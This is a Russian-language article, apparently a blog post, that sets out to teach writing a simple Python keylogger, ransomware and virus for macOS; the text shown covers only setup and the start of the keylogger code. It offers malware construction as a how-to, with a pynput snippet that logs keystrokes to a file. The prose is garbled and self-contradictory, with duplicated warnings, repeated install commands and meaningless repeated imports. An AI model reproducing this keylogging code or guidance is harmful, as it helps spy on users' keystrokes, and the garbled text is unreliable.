Ядовитый питон, Пишем на Python простейшие малвары: логер, шифровальщик и вирус

Kaspersky Lab RU [RU] · 17 февраля 2026 · 7 мин · 1,4K просмотров

Содержание статьи

- Настройка среды
- Логер
- Шифровальщик
- Вирус
- Заключение
- Рекомендации

Python очень не может подойти к тому чтобы писать малвары на Python? Мы сделаем это, но сначала расскажем, почему Python — не лучший выбор для вредоносного ПО. Мы обсудим PyInstaller и AV-тайны при использовании разных библиотек и напишем простейшие клавиш-логер, шифровальщик и вирус. Все примеры кодов — для macOS, но в статье есть и рекомендации по переносу на Windows.

Чаще всего Python применяют для создания бэкендов и ботов. Хотя иногда в интернете попадается вредоносное ПО, написанное на Python. Чаще всего это Python-бинарники, собранные с помощью PyInstaller. Такие вредоносные версии — редкость и встречаются в основном в Linux-окружениях, где распространение Python-скриптов не вызывает подозрений.

Мы не готовим вы заинтересованным читателям, поэтому, если у вашего Linux-бинарника, автор-злодеи, чтобы распространить на macOS приложение-вирус, шифровальщик, кейлогер, вам нужно лишь перекомпилировать исходники на macOS. Мы покажем, как сделать это, а также расскажем, почему нужно использовать Python-бинарники только в Linux.

ВНИМАНИЕ

Все вредоносные скриптовые компоненты и компилятор(ы) для macOS. Что касается Windows, то для сборки вредоносного ПО для Windows нужно использовать другие среды.

ВАЖНО

Перед дальнейшим прочтением рекомендуем ознакомиться с компилятором, для macOS. Что касается Windows, то для сборки вредоносного ПО для Windows нужно использовать другие среды.

Настройка среды

Итак, первым делом для начала, понадобится сам Python, который мы будем использовать для компиляции. Для macOS — это Python 3.9.6, который идет из коробки. Для Windows — лучше использовать Python 3.9, так как с ним есть в сборке другие версии.

Дополнительно устанавливаем компилятор, который будем использовать:

```
brew install pyinstaller
pip3 install pyinstaller
pip3 install pyinstaller
```

Мы также подготовили новые библиотеки, которые пригодятся в материалах ниже.

Логер

Начнем с простого — напишем логер, который будет записывать нажатия клавиш.

Библиотека:

```
import pynput
from pynput.keyboard import Key, Listener
log = open("keylog.txt", "w+")
def on_press(key):
    print(key, file=log, flush=True)
```

Теперь импортируем из библиотеки часть функций:

```
from pynput.keyboard import Listener
import os, sys, time, shutil
from pathlib import Path, PurePath
import ctypes
import ctypes.wintypes
import ctypes.wintypes as wintypes
import ctypes.wintypes as w
import ctypes.wintypes as wintypes
import ctypes.wintypes as w
import ctypes.wintypes as wintypes
import ctypes.wintypes as w
```